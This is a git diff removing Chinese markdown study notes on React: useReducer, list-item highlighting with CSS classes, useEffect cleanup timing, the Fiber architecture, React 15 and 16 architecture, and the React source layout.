"a/src/React/useReducer\357\274\232\347\261\273Redux\347\232\204useState\346\233\277\344\273\243\346\226\271\346\241\210.md" +++ /dev/null @@ -1,60 +0,0 @@ ---- -date: 2022-08-16 -category: -- React ---- -# useReducer:类Redux的useState替代方案 - -```tsx -const [state, dispatch] = useReducer(reducer, initialArg, init); -``` - -[`useState`](https://zh-hans.reactjs.org/docs/hooks-reference.html#usestate) 的替代方案(更复杂的方案)。它接收一个形如 `(state, action) => newState` 的 reducer,并返回当前的 state 以及与其配套的 `dispatch` 方法。(如果你熟悉 Redux 的话,就已经知道它如何工作了。) - -在某些场景下,`useReducer` 会比 `useState` 更适用,例如 state 逻辑较复杂且包含多个子值,或者下一个 state 依赖于之前的 state 等。并且,使用 `useReducer` 还能给那些会触发深更新的组件做性能优化,因为[你可以向子组件传递 `dispatch` 而不是回调函数](https://zh-hans.reactjs.org/docs/hooks-faq.html#how-to-avoid-passing-callbacks-down) 。 - -以下是用 reducer 重写 [`useState`](https://zh-hans.reactjs.org/docs/hooks-reference.html#usestate) 一节的计数器示例: - -```tsx -const initialState = {count: 0}; - -function reducer(state, action) { - switch (action.type) { - case 'increment': - return {count: state.count + 1}; - case 'decrement': - return {count: state.count - 1}; - default: - throw new Error(); - } -} - -function Counter() { - const [state, dispatch] = useReducer(reducer, initialState); - return ( - <> - Count: {state.count} - - - - ); -} -``` - -> 注意 -> -> React 会确保 `dispatch` 函数的标识是稳定的,并且不会在组件重新渲染时改变。这就是为什么可以安全地从 `useEffect` 或 `useCallback` 的依赖列表中省略 `dispatch`。 - -#### 指定初始 state - -有两种不同初始化 `useReducer` state 的方式,你可以根据使用场景选择其中的一种。将初始 state 作为第二个参数传入 `useReducer` 是最简单的方法: - -``` - const [state, dispatch] = useReducer( - reducer, - {count: initialCount} ); -``` - -> 注意 -> -> React 不使用 `state = initialState` 这一由 Redux 推广开来的参数约定。有时候初始值依赖于 props,因此需要在调用 Hook 时指定。如果你特别喜欢上述的参数约定,可以通过调用 `useReducer(reducer, undefined, reducer)` 来模拟 Redux 的行为,但我们不鼓励你这么做。 diff --git "a/src/React/\345\256\271\345\231\250\345\206\205\351\200\211\346\213\251\345\215\225\344\270\200\345\210\227\350\241\250\345\271\266\350\277\233\350\241\214\351\253\230\344\272\256\345\210\207\346\215\242\347\232\204\345\256\236\350\267\265.md" "b/src/React/\345\256\271\345\231\250\345\206\205\351\200\211\346\213\251\345\215\225\344\270\200\345\210\227\350\241\250\345\271\266\350\277\233\350\241\214\351\253\230\344\272\256\345\210\207\346\215\242\347\232\204\345\256\236\350\267\265.md" deleted file mode 100644 index 0e5339b8..00000000 --- "a/src/React/\345\256\271\345\231\250\345\206\205\351\200\211\346\213\251\345\215\225\344\270\200\345\210\227\350\241\250\345\271\266\350\277\233\350\241\214\351\253\230\344\272\256\345\210\207\346\215\242\347\232\204\345\256\236\350\267\265.md" +++ /dev/null @@ -1,159 +0,0 @@ -# 容器内选择单一列表并进行高亮切换的实践 - -基于React和antd技术栈下,对有限容器内列表选择的行进行高亮提示,并且不影响容器内部进行的滚动查看引发的思考,涉及的内容包括overflow熟悉,CSS 类名替换而不是改写style、React Element的复用和性能优化。 - -## 前置知识 - -### overflow - -overflow 是overflow-x 和overflow-y的简写,用来设定当一块级元素(通常设置了height/max-height)的内容太大而超出范围的时候,元素内容如何加载。 - -```css -overflow:属性值; -overflow: [overflow-x] [overflow-y]; -``` - -只设定一个值的话,则同时对x和y轴生效,当其中一方被设置了auto的话,visible的表现也会是auto - -### 其他用途 - -- text-overflow 与 overflow 配合用于文字省略 - - > 超出文字隐藏:overflow:hidden; - > 文字不换行:text-wrap:nowrap; - -- overflow: hidden 清除浮动 - -- overflow: hidden 解决外边距折叠问题(触发BFC) - -## 分析实践 - -CSS 类名替换而不是改写style - -并不适用于虚拟列表 - -### demo 演示 - - - -设置容器、列表样式以及选中行的样式: - -```css -.main { - background: grey; - margin: auto; - width: 50vw; - height: 400px; - overflow: auto; -} - -.list { - width: 100vw; - height: 100vw; -} - -.active { - background: aqua; -} -``` - -```jsx -// App.jsx -import React, {useState} from 'react'; -import './App.css'; -import {List} from "antd"; - -const data = [ - 'Racing car sprays burning fuel into crowd.', - 'Japanese princess to wed commoner.', - 'Australian walks 100km after outback crash.', - 'Man charged over missing wedding girl.', - 'Los Angeles battles huge wildfires.', -]; - -function App() { - const [activeIndex, setActiveIndex] = useState(-1) - return ( -
    -
    - ( - { - setActiveIndex(index) - }}>{item} - )} - /> -
    -
    - ); -} - -export default App; -``` - -### 显示效果 - -通过设置外部容器固定宽高,overflow: auto已经生效,生成滚动条 - -![image-20220818094857915](https://cdn.yihuiblog.top/images/202208180948011.png) - -外部内容被隐藏遮住 - -![image-20220818100627657](https://cdn.yihuiblog.top/images/202208181006727.png) - -当点击的时候,改变的是仅受影响的两行的类名 - -![image-20220818095042385](https://cdn.yihuiblog.top/images/202208180950439.png) - -![image-20220818095006325](https://cdn.yihuiblog.top/images/202208180950376.png) - -此修改方法通过只修改类名而不是style属性,更有利于后期维护和修改选中的样式,我们只需对`.active`进行修改即可。如果是写成style形式,就很冗余了,也不好扩展。 - -```jsx - style={index === activeIndex ? {backgroundColor: '#f5f5f5'} : {}} -``` - -## 思考问题 - -数据量大了怎么办?目前修改相当于整个App都被重新执行了渲染,行数多了有明显卡顿,甚至没有反应,而且生成的时候这行相当于进行多了次比较: - -```js -className={activeIndex === index ? "active" : ""} -``` - -Mark一下,待思考解决办法: - -### 只对选中行进行重绘 - -通过标记之前选中的节点,在下次选中的时候进行重写className - -```js - let preClickElement = null - const handleClick = useCallback((e) => { - const target = e.currentTarget - target.className = 'ant-list-item active'; - preClickElement && (preClickElement.className = 'ant-list-item') - preClickElement = target; - }, []) -``` - -demo - -```js -{ - data.map((item, index) => { - return {item} - }) -} -``` - -### 如果用虚拟列表的话,如何实现这个效果? - -Mark,重写一个虚拟列表demo后尝试 diff --git "a/src/React/\346\211\247\350\241\214\345\222\214\346\270\205\351\231\244Effect\347\232\204\346\227\266\346\234\272.md" "b/src/React/\346\211\247\350\241\214\345\222\214\346\270\205\351\231\244Effect\347\232\204\346\227\266\346\234\272.md" deleted file mode 100644 index a13e4686..00000000 --- "a/src/React/\346\211\247\350\241\214\345\222\214\346\270\205\351\231\244Effect\347\232\204\346\227\266\346\234\272.md" +++ /dev/null @@ -1,92 +0,0 @@ ---- -date: 2022-10-03 -category: -- React ---- - -# 执行和清除Effect的时机 - -React 何时清除 effect? React 会在组件卸载的时候执行清除操作。众所周知,effect 在每次渲染的时候都会执行,而这就是为什么 React 会在执行当前 effect 之前对上一个 effect 进行清除,因为这有助于避免Bug,这是React的默认行为。 - -## 原因:为什么每次更新的时候都要运行 Effect - -如果你已经习惯了使用 class,那么你或许会疑惑为什么 effect 的清除阶段在每次重新渲染时都会执行,而不是只在卸载组件的时候执行一次。 - -例如订阅好友在线状态的[组件](https://zh-hans.reactjs.org/docs/hooks-effect.html#example-using-classes-1): - -```tsx -componentDidMount() { - ChatAPI.subscribeToFriendStatus( - this.props.friend.id, - this.handleStatusChange - ); - } - - componentWillUnmount() { - ChatAPI.unsubscribeFromFriendStatus( - this.props.friend.id, - this.handleStatusChange - ); - } -``` - -**但是当组件已经显示在屏幕上时,`friend` prop 发生变化时会发生什么?** 我们的组件将继续展示原来的好友状态。这是一个 bug。而且我们还会因为取消订阅时使用错误的好友 ID 导致内存泄露或崩溃的问题。 - -在 class 组件中,我们需要添加 `componentDidUpdate` 来解决这个问题: - -```tsx - componentDidUpdate(prevProps) { - // 取消订阅之前的 friend.id - ChatAPI.unsubscribeFromFriendStatus( - prevProps.friend.id, - this.handleStatusChange - ); - // 订阅新的 friend.id - ChatAPI.subscribeToFriendStatus( - this.props.friend.id, - this.handleStatusChange - ); - } -``` - -而useEffect它并不会受到此 bug 影响,并不需要特定的代码来处理更新逻辑,因为 `useEffect` *默认*就会处理。**它会在调用一个新的 effect 之前对前一个 effect 进行清理。** - -```ts -// Mount with { friend: { id: 100 } } props -ChatAPI.subscribeToFriendStatus(100, handleStatusChange); // 运行第一个 effect - -// Update with { friend: { id: 200 } } props -ChatAPI.unsubscribeFromFriendStatus(100, handleStatusChange); // 清除上一个 effect -ChatAPI.subscribeToFriendStatus(200, handleStatusChange); // 运行下一个 effect - -// Update with { friend: { id: 300 } } props -ChatAPI.unsubscribeFromFriendStatus(200, handleStatusChange); // 清除上一个 effect -ChatAPI.subscribeToFriendStatus(300, handleStatusChange); // 运行下一个 effect - -// Unmount -ChatAPI.unsubscribeFromFriendStatus(300, handleStatusChange); // 清除最后一个 effect -``` - -此默认行为保证了一致性,避免了在 class 组件中因为没有处理更新逻辑而导致常见的 bug。 - -## 性能:通过跳过 Effect 进行性能优化 - -在某些情况下,每次渲染后都执行清理或者执行 effect 可能会导致性能问题。在 class 组件中,我们可以通过在 `componentDidUpdate` 中添加对 `prevProps` 或 `prevState` 的比较逻辑解决: - -```tsx -componentDidUpdate(prevProps, prevState) { - if (prevState.count !== this.state.count) { - document.title = `You clicked ${this.state.count} times`; - } -} -``` - -这是很常见的需求,所以**它被内置到了 `useEffect` 的 Hook API 中**。如果某些特定值在两次重渲染之间没有发生变化(浅比较),你可以通知 React **跳过**对 effect 的调用,只要传递数组作为 `useEffect` 的第二个可选参数即可: - -```tsx -useEffect(() => { - document.title = `You clicked ${count} times`; -}, [count]); // 仅在 count 更改时更新 -``` - -> 第二个参数如果你传入了一个空数组(`[]`),effect 内部的 props 和 state 就会一直拥有其初始值。尽管传入 `[]` 作为第二个参数更接近大家更熟悉的 `componentDidMount` 和 `componentWillUnmount` 思维模式,但我们有[更好的](https://zh-hans.reactjs.org/docs/hooks-faq.html#is-it-safe-to-omit-functions-from-the-list-of-dependencies)[方式](https://zh-hans.reactjs.org/docs/hooks-faq.html#what-can-i-do-if-my-effect-dependencies-change-too-often)来避免过于频繁的重复调用 effect。除此之外,请记得 React 会等待浏览器完成画面渲染之后才会延迟调用 `useEffect`,因此会使得额外操作很方便。 diff --git "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/Hooks \350\247\243\346\236\220.md" "b/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/Hooks \350\247\243\346\236\220.md" deleted file mode 100644 index 79fdbeb5..00000000 --- "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/Hooks \350\247\243\346\236\220.md" +++ /dev/null @@ -1,18 +0,0 @@ -# Hooks 解析 - -## Hooks 理念 - -Component 是 React 的原子,Hooks接近于原子内电子的概念。相比于`ClassComponent`的更上层抽象,`Hooks`则更贴近`React`内部运行的各种概念(`state` | `context` | `life-cycle`)。 - -当我们熟练运用`Hooks`时,就会发现,这两者的概念(与生命周期)有很多割裂感,并不是同一抽象层次可以互相替代的概念。 - -## 实现 - - - -## 数据结构 - - - -## 常见Hooks解析 - diff --git "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \344\270\255\347\232\204 Fiber\357\274\210\347\272\244\347\250\213\357\274\211\345\217\212\345\205\266\345\267\245\344\275\234\345\216\237\347\220\206.md" "b/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \344\270\255\347\232\204 Fiber\357\274\210\347\272\244\347\250\213\357\274\211\345\217\212\345\205\266\345\267\245\344\275\234\345\216\237\347\220\206.md" deleted file mode 100644 index cce6e011..00000000 --- "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \344\270\255\347\232\204 Fiber\357\274\210\347\272\244\347\250\213\357\274\211\345\217\212\345\205\266\345\267\245\344\275\234\345\216\237\347\220\206.md" +++ /dev/null @@ -1,258 +0,0 @@ ---- -date: 2022-08-24 -star: true -category: -- React -- 源码探究 ---- - -# React 中的 Fiber(纤程)及其工作原理 - -## 代数效应 - -`代数效应`能够将`副作用`(例子中为`请求图片数量`)从函数逻辑中分离,使函数关注点保持纯粹。(函数调用产生的副作用不需要使用者关心,并且是上下文无关的,并不与上下文逻辑相绑定) - -## Fiber - -`Fiber`并不是计算机术语中的新名词,他的中文翻译叫做`纤程`,与进程(Process)、线程(Thread)、协程(Coroutine)同为程序执行过程。 - -> **Wiki:** -> -> 在计算机科学中,纤程(英语:Fiber)是一种最轻量化的线程(lightweight threads)。它是一种用户态线程(user thread),让应用程式可以独立决定自己的线程要如何运作。作业系统内核不能看见它,也不会为它进行排程。 -> -> 就像一般的线程,纤程有自己的定址空间。但是纤程采取合作式多工(Cooperative multitasking),而线程采取先占式多工(Pre-emptive multitasking)。应用程式可以在一个线程环境中建立多个纤程,然后手动执行它。纤程不会被自动执行,必须要由应用程式自己指定让它执行,或换到下一个纤程。 -> -> 跟线程相比,纤程较不需要作业系统的支援。 - -在很多文章中将`纤程`理解为`协程`的一种实现。在`JS`中,`协程`的实现便是`Generator`。 - -**`React Fiber`可以理解为:** - -`React`内部实现的一套状态更新机制。支持任务不同`优先级`,可中断与恢复,并且恢复后可以复用之前的`中间状态`。其中每个任务更新单元为`React Element`对应的`Fiber节点`。 - -### 起源、含义 - -在`React15`及以前,`Reconciler`采用递归的方式创建虚拟DOM,递归过程是不能中断的。如果组件树的层级很深,递归会占用线程很多时间,造成卡顿。 - -为了解决这个问题,`React16`将**递归的无法中断的更新**重构为**异步的可中断更新**,由于曾经用于递归的**虚拟DOM**数据结构已经无法满足需要。于是,全新的`Fiber`架构应运而生。 - -**`Fiber`包含三层含义:** - -1. 作为架构来说,之前`React15`的`Reconciler`采用递归的方式执行,数据保存在递归调用栈中,所以被称为`stack Reconciler`。`React16`的`Reconciler`基于`Fiber节点`实现,被称为`Fiber Reconciler`。 -2. 作为静态的数据结构来说,每个`Fiber节点`对应一个`React element`,保存了该组件的类型(函数组件/类组件/原生组件...)、对应的DOM节点等信息。 -3. 作为动态的工作单元来说,每个`Fiber节点`保存了本次更新中该组件改变的状态、要执行的工作(需要被删除/被插入页面中/被更新...)。 - -### 结构 - -完整结构: - -```js -function FiberNode( - tag: WorkTag, - pendingProps: mixed, - key: null | string, - mode: TypeOfMode, -) { - // 作为静态数据结构的属性 - this.tag = tag; - this.key = key; - this.elementType = null; - this.type = null; - this.stateNode = null; - - // 用于连接其他Fiber节点形成Fiber树 - this.return = null; - this.child = null; - this.sibling = null; - this.index = 0; - - this.ref = null; - - // 作为动态的工作单元的属性 - this.pendingProps = pendingProps; - this.memoizedProps = null; - this.updateQueue = null; - this.memoizedState = null; - this.dependencies = null; - - this.mode = mode; - - this.effectTag = NoEffect; - this.nextEffect = null; - - this.firstEffect = null; - this.lastEffect = null; - - // 调度优先级相关 - this.lanes = NoLanes; - this.childLanes = NoLanes; - - // 指向该fiber在另一次更新时对应的fiber - this.alternate = null; -} -``` - -### 架构实现 - -#### 组成树形结构 - -靠如下三个属性形成树,这实际上是一颗 树(记录的是子节点和右边第一个兄弟Fiber节点) - -```js -// 指向父级Fiber节点 -this.return = null; -// 指向子Fiber节点 -this.child = null; -// 指向右边第一个兄弟Fiber节点 -this.sibling = null; -``` - -举个例子,如下的组件结构: - -```js -function App() { - return ( -
    - i am - KaSong -
    - ) -} -``` - -对应的`Fiber树`结构: Fiber架构 - -> 什么父级指针叫做`return`而不是`parent`或者`father`呢?因为作为一个工作单元,`return`指节点执行完`completeWork`(本章后面会介绍)后会返回的下一个节点。子`Fiber节点`及其兄弟节点完成工作后会返回其父级节点,所以用`return`指代父级节点。 - -#### 静态数据结构 - -作为一种静态的数据结构,保存了组件相关的信息: - -```js -// Fiber对应组件的类型 Function/Class/Host... -this.tag = tag; -// key属性 -this.key = key; -// 大部分情况同type,某些情况不同,比如FunctionComponent使用React.memo包裹 -this.elementType = null; -// 对于 FunctionComponent,指函数本身,对于ClassComponent,指class,对于HostComponent,指DOM节点tagName -this.type = null; -// Fiber对应的真实DOM节点 -this.stateNode = null; -``` - -#### 动态的工作单元 - -作为动态的工作单元,`Fiber`中如下参数保存了本次更新相关的信息,我们会在后续的更新流程中使用到具体属性时再详细介绍。 - -```js -// 保存本次更新造成的状态改变相关信息 -this.pendingProps = pendingProps; -this.memoizedProps = null; -this.updateQueue = null; -this.memoizedState = null; -this.dependencies = null; - -this.mode = mode; - -// 保存本次更新会造成的DOM操作 -this.effectTag = NoEffect; -this.nextEffect = null; - -this.firstEffect = null; -this.lastEffect = null; -``` - -如下两个字段保存调度优先级相关的信息,会在讲解`Scheduler`时介绍。 - -```js -// 调度优先级相关 -this.lanes = NoLanes; -this.childLanes = NoLanes; -``` - -## Fiber 架构工作原理 - -`Fiber节点`构成的`Fiber树`就对应`DOM树`,更新DOM则用到双缓存技术。 - -### 双缓存 Fiber 树 - -#### 什么是双缓存 - -当我们用`canvas`绘制动画,每一帧绘制前都会调用`ctx.clearRect`清除上一帧的画面。 - -如果当前帧画面计算量比较大,导致清除上一帧画面到绘制当前帧画面之间有较长间隙,就会出现白屏。 - -为了解决这个问题,我们可以在内存中绘制当前帧动画,绘制完毕后直接用当前帧替换上一帧画面,由于省去了两帧替换间的计算时间,不会出现从白屏到出现画面的闪烁情况。 - -这种**在内存中构建并直接替换**的技术叫做[双缓存](https://baike.baidu.com/item/双缓冲) - -#### 构建方法 - -`React`使用“双缓存”来完成`Fiber树`的构建与替换——对应着`DOM树`的创建与更新 - -`current Fiber树`中的`Fiber节点`被称为`current fiber`,`workInProgress Fiber树`中的`Fiber节点`被称为`workInProgress fiber`,他们通过`alternate`属性连接。 - -```js -currentFiber.alternate === workInProgressFiber; -workInProgressFiber.alternate === currentFiber; -``` - -`React`应用的根节点通过使`current`指针在不同`Fiber树`的`rootFiber`间切换来完成`current Fiber`树指向的切换,完成`DOM`更新。当当前的`workInProgress Fiber树`变成`current Fiber树`,相应地也开始进行新的`workInProgress Fiber树`的生成。 - -## 生命周期中的构建/替换流程 - -### mount 时 - -考虑如下例子: - -```js -function App() { - const [num, add] = useState(0); - return ( -

    add(num + 1)}>{num}

    - ) -} - -ReactDOM.render(, document.getElementById('root')); -``` - -1. 首次执行`ReactDOM.render`会创建`fiberRootNode`(源码中叫`fiberRoot`)和`rootFiber`。其中`fiberRootNode`是整个应用的根节点,`rootFiber`是``所在组件树的根节点。 - -之所以要区分`fiberRootNode`与`rootFiber`,是因为在应用中我们可以多次调用`ReactDOM.render`渲染不同的组件树,他们会拥有不同的`rootFiber`。但是整个应用的根节点只有一个,那就是`fiberRootNode`。 - -`fiberRootNode`的`current`会指向当前页面上已渲染内容对应`Fiber树`,即`current Fiber树`。 - -rootFiber - -```js -fiberRootNode.current = rootFiber; -``` - -由于是首屏渲染,页面中还没有挂载任何`DOM`,所以`fiberRootNode.current`指向的`rootFiber`没有任何`子Fiber节点`(即`current Fiber树`为空)。 - -1. 接下来进入`render阶段`,根据组件返回的`JSX`在内存中依次创建`Fiber节点`并连接在一起构建`Fiber树`,被称为`workInProgress Fiber树`。(下图中右侧为内存中构建的树,左侧为页面显示的树) - -在构建`workInProgress Fiber树`时会尝试复用`current Fiber树`中已有的`Fiber节点`内的属性,在`首屏渲染`时只有`rootFiber`存在对应的`current fiber`(即`rootFiber.alternate`)。 - -workInProgressFiber - -1. 图中右侧已构建完的`workInProgress Fiber树`在`commit阶段`渲染到页面。 - -此时`DOM`更新为右侧树对应的样子。`fiberRootNode`的`current`指针指向`workInProgress Fiber树`使其变为`current Fiber 树`。 - -workInProgressFiberFinish - -## update时 - -1. 接下来我们点击`p节点`触发状态改变,这会开启一次新的`render阶段`并构建一棵新的`workInProgress Fiber 树`。 - -wipTreeUpdate - -和`mount`时一样,`workInProgress fiber`的创建可以复用`current Fiber树`对应的节点数据。 - -> 这个决定是否复用的过程就是Diff算法,后面章节会详细讲解 - -1. `workInProgress Fiber 树`在`render阶段`完成构建后进入`commit阶段`渲染到页面上。渲染完毕后,`workInProgress Fiber 树`变为`current Fiber 树`。 - -currentTreeUpdate diff --git "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \346\236\266\346\236\204.md" "b/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \346\236\266\346\236\204.md" deleted file mode 100644 index 476b224d..00000000 --- "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \346\236\266\346\236\204.md" +++ /dev/null @@ -1,150 +0,0 @@ ---- -date: 2022-08-24 -category: -- React -- 源码探究 ---- - -# React 架构 - -因为v15不能满足快速响应的理念(或者说原先的设计缺陷),`React`从v15升级到v16后重构了整个架构。 - -## React 15 架构 - -React15架构可以分为两层: - -- Reconciler(协调器)—— 负责找出变化的组件 -- Renderer(渲染器)—— 负责将变化的组件渲染到页面上 - -### Reconciler(协调器) - -我们知道,在`React`中可以通过`this.setState`、`this.forceUpdate`、`ReactDOM.render`等API触发更新。 - -每当有更新发生时,**Reconciler**会做如下工作(对比并协调渲染器更新): - -1. 调用函数组件、或class组件的`render`方法,将返回的 JSX 转化为虚拟 DOM - -2. 将虚拟DOM和上次更新时的虚拟DOM对比 -3. 通过对比找出本次更新中变化的虚拟DOM -4. 通知**Renderer**将变化的虚拟DOM渲染到页面上 - -> **官方描述:** -> -> “stack” reconciler 是 React 15 及更早的解决方案,React已经停止了对它的使用。 -> - -### Renderer(渲染器) - -由于`React`支持跨平台,所以不同平台有不同的**Renderer**。我们前端最熟悉的是负责在浏览器环境渲染的**Renderer** —— [ReactDOM](https://www.npmjs.com/package/react-dom) (接受协调的工具人) - -> **渲染器用于管理一棵 React 树,使其根据底层平台进行不同的调用。** - -除此之外,还有: - -- [ReactNative (opens new window)](https://www.npmjs.com/package/react-native)渲染器,渲染App原生组件 -- [ReactTest (opens new window)](https://www.npmjs.com/package/react-test-renderer)渲染器,渲染出纯Js对象用于测试 -- [ReactArt (opens new window)](https://www.npmjs.com/package/react-art)渲染器,渲染到Canvas, SVG 或 VML (IE8) - -在每次更新发生时,**Renderer**接到**Reconciler**通知,将变化的组件渲染在当前宿主环境。 - -### React15架构的缺点 - -在Reconciler中,mount的组件会调用mountComponent (opens new window),update的组件会调用updateComponent (opens new window)。这两个方法都会递归更新子组件。 - -#### 递归更新的缺点 - -由于递归执行,所以更新一旦开始,中途就无法中断。当层级很深时,递归更新时间超过了16ms,用户交互就会卡顿。 - -![更新流程](https://cdn.yihuiblog.top/images/202208241736854.png) - -而v15使用同步更新,**Reconciler**和**Renderer**是交替工作的,当第一个`li`在页面上已经变化后,第二个`li`再进入**Reconciler**。由于整个过程都是同步的,所以在用户看来所有DOM是同时更新的,但是这样也就导致了对多个节点同步更新的卡顿问题,因为他需要“全部”更新完成后交付给用户,只有当时间比较短的时候才会使用户感觉是同步更新的。 - -让我们模拟一下,如果中途中断更新会怎么样? - -> 实际中v15并不能直接中断,而这也是导致卡顿的矛盾点 - -![中断更新流程](https://cdn.yihuiblog.top/images/202208241738053.png) - -当第一个`li`完成更新时中断更新,即步骤3完成后中断更新,此时后面的步骤都还未执行。 - -用户本来期望`123`变为`246`。实际却看见更新不完全的DOM!(即`223`) - -基于这个原因,`React`决定重写整个架构。 - -## React 16 架构 - -React16架构可以分为三层: - -- Scheduler(调度器)—— 调度任务的优先级,高优任务优先进入**Reconciler** -- Reconciler(协调器)—— 负责找出变化的组件 -- Renderer(渲染器)—— 负责将变化的组件渲染到页面上 - -### Scheduler(调度器):star: - -既然我们以浏览器是否有剩余时间作为任务中断的标准,那么我们需要一种机制,当浏览器有剩余时间时通知我们。 - -其实部分浏览器已经实现了这个API,这就是[requestIdleCallback](https://developer.mozilla.org/zh-CN/docs/Web/API/Window/requestIdleCallback),但由于以下缺陷,React放弃使用: - -- 服务器兼容性 -- 触发频率不稳定,受很多因素影响。比如当我们的浏览器切换tab后,之前tab注册的`requestIdleCallback`触发的频率会变得很低 - -> 又再次证明了,前端工程师的技术升级靠的是客户的浏览器的升级 - -基于以上原因,`React`实现了功能更完备的`requestIdleCallback ` polyfill(腻子脚本),这就是**Scheduler**。除了在空闲时触发回调的功能外,**Scheduler**还提供了多种调度优先级供任务设置。[Scheduler](https://github.com/facebook/react/blob/1fb18e22ae66fdb1dc127347e169e73948778e5a/packages/scheduler/README.md)是独立于`React`的库。 - -### Reconciler(协调器)变动 - -更新工作从递归变成了可以中断的循环过程。每次循环都会调用`shouldYield`判断当前是否有剩余时间。 - -```js -/** @noinline */ -function workLoopConcurrent() { - // Perform work until Scheduler asks us to yield - while (workInProgress !== null && !shouldYield()) { - workInProgress = performUnitOfWork(workInProgress); - } -} -``` - -在React16中,**Reconciler**与**Renderer**不再是交替工作。当**Scheduler**将任务交给**Reconciler**后,**Reconciler**会为变化的虚拟DOM打上代表增/删/更新的标记,类似这样: - -```js -export const Placement = /* */ 0b0000000000010; -export const Update = /* */ 0b0000000000100; -export const PlacementAndUpdate = /* */ 0b0000000000110; -export const Deletion = /* */ 0b0000000001000; -``` - -整个**Scheduler**与**Reconciler**的工作都在内存中进行。只有当所有组件都完成**Reconciler**的工作,才会统一交给**Renderer**。 - -> **官方描述:** -> -> “fiber” reconciler 是一个新尝试,致力于解决 stack reconciler 中固有的问题,同时解决一些历史遗留问题。Fiber 从 React 16 开始变成了默认的 reconciler。 -> -> 它的主要目标是: -> -> - 能够把可中断的任务切片处理。 -> - 能够调整优先级,重置并复用任务。 -> - 能够在父元素与子元素之间交错处理,以支持 React 中的布局。 -> - 能够在 `render()` 中返回多个元素。 -> - 更好地支持错误边界。 -> -> 你可以在[这里](https://github.com/acdlite/react-fiber-architecture)和[这里](https://medium.com/react-in-depth/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react-e1c04700ef6e),深入了解 React Fiber 架构。虽然这已经在 React 16 中启用了,但是 async 特性还没有默认开启。 - -### Renderer(渲染器)变动 - -在React16架构中整个更新流程为: - -![更新流程](https://cdn.yihuiblog.top/images/202208251059950.png) - -其中红框中的步骤随时可能由于以下原因被中断: - -- 有其他更高优任务需要先更新 -- 当前帧没有剩余时间 - -由于红框中的工作都在内存中进行,不会更新页面上的DOM,所以即使反复中断,用户也不会看见更新不完全的DOM(即上一节演示的情况)。所以,实际上真实DOM更新还是同步进行的,但对虚拟DOM的检查和更新是异步可中断的,当没有其他变化的时候,Reconciler将完整的可交付虚拟DOM交给渲染器统一渲染。 - -> 实际上,由于**Scheduler**和**Reconciler**都是平台无关的,所以`React`为他们单独发了一个包[react-Reconciler](https://www.npmjs.com/package/react-reconciler) -> -> 还有就是,从红色框到渲染器的部分还依赖于双缓存的实现,以保证用户无法明显感知这一更新过程。 - diff --git "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \346\272\220\347\240\201\346\226\207\344\273\266\347\273\223\346\236\204.md" "b/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \346\272\220\347\240\201\346\226\207\344\273\266\347\273\223\346\236\204.md" deleted file mode 100644 index 842a0f14..00000000 --- "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \346\272\220\347\240\201\346\226\207\344\273\266\347\273\223\346\236\204.md" +++ /dev/null @@ -1,85 +0,0 @@ -# React 源码文件结构 - -## 顶层目录 - -除去配置文件和隐藏文件夹,根目录的文件夹包括三个: - -```text -根目录 -├── fixtures # 包含一些给贡献者准备的小型 React 测试项目 -├── packages # 包含元数据(比如 package.json)和 React 仓库中所有 package 的源码(子目录 src) -├── scripts # 各种工具链的脚本,比如git、jest、eslint等 -``` - -^5cfbe9 - -这里我们关注**packages**目录 - -## packages目录 - -### [react (opens new window)](https://github.com/facebook/react/tree/master/packages/react)文件夹 - -React的核心,包含所有全局 React API,如: - -- React.createElement -- React.Component -- React.Children - -这些 API 是全平台通用的,它不包含`ReactDOM`、`ReactNative`等平台特定的代码。在 NPM 上作为[单独的一个包 (opens new window)](https://www.npmjs.com/package/react)发布。 - -### [#](https://react.iamkasong.com/preparation/file.html#scheduler文件夹)[scheduler (opens new window)](https://github.com/facebook/react/tree/master/packages/scheduler)文件夹 - -Scheduler(调度器)的实现。 - -### [#](https://react.iamkasong.com/preparation/file.html#shared文件夹)[shared (opens new window)](https://github.com/facebook/react/tree/master/packages/shared)文件夹 - -源码中其他模块公用的**方法**和**全局变量**,比如在[shared/ReactSymbols.js (opens new window)](https://github.com/facebook/react/blob/1fb18e22ae66fdb1dc127347e169e73948778e5a/packages/shared/ReactSymbols.js)中保存`React`不同组件类型的定义。 - -```js -// ... -export let REACT_ELEMENT_TYPE = 0xeac7; -export let REACT_PORTAL_TYPE = 0xeaca; -export let REACT_FRAGMENT_TYPE = 0xeacb; -// ... -``` - -### [#](https://react.iamkasong.com/preparation/file.html#renderer相关的文件夹)Renderer相关的文件夹 - -如下几个文件夹为对应的**Renderer** - -```text -- react-art -- react-dom # 注意这同时是DOM和SSR(服务端渲染)的入口 -- react-native-renderer -- react-noop-renderer # 用于debug fiber(后面会介绍fiber) -- react-test-renderer -``` - -### [#](https://react.iamkasong.com/preparation/file.html#试验性包的文件夹)试验性包的文件夹 - -`React`将自己流程中的一部分抽离出来,形成可以独立使用的包,由于他们是试验性质的,所以不被建议在生产环境使用。包括如下文件夹: - -```text -- react-server # 创建自定义SSR流 -- react-client # 创建自定义的流 -- react-fetch # 用于数据请求 -- react-interactions # 用于测试交互相关的内部特性,比如React的事件模型 -- react-reconciler # Reconciler的实现,你可以用他构建自己的Renderer -``` - -### [#](https://react.iamkasong.com/preparation/file.html#辅助包的文件夹)辅助包的文件夹 - -`React`将一些辅助功能形成单独的包。包括如下文件夹: - -```text -- react-is # 用于测试组件是否是某类型 -- react-client # 创建自定义的流 -- react-fetch # 用于数据请求 -- react-refresh # “热重载”的React官方实现 -``` - -### react-reconciler 文件夹 - -我们需要重点关注**react-reconciler**,在接下来源码学习中 80%的代码量都来自这个包。 - -虽然他是一个实验性的包,内部的很多功能在正式版本中还未开放。但是他一边对接**Scheduler**,一边对接不同平台的**Renderer**,构成了整个 React16 的架构体系。 diff --git 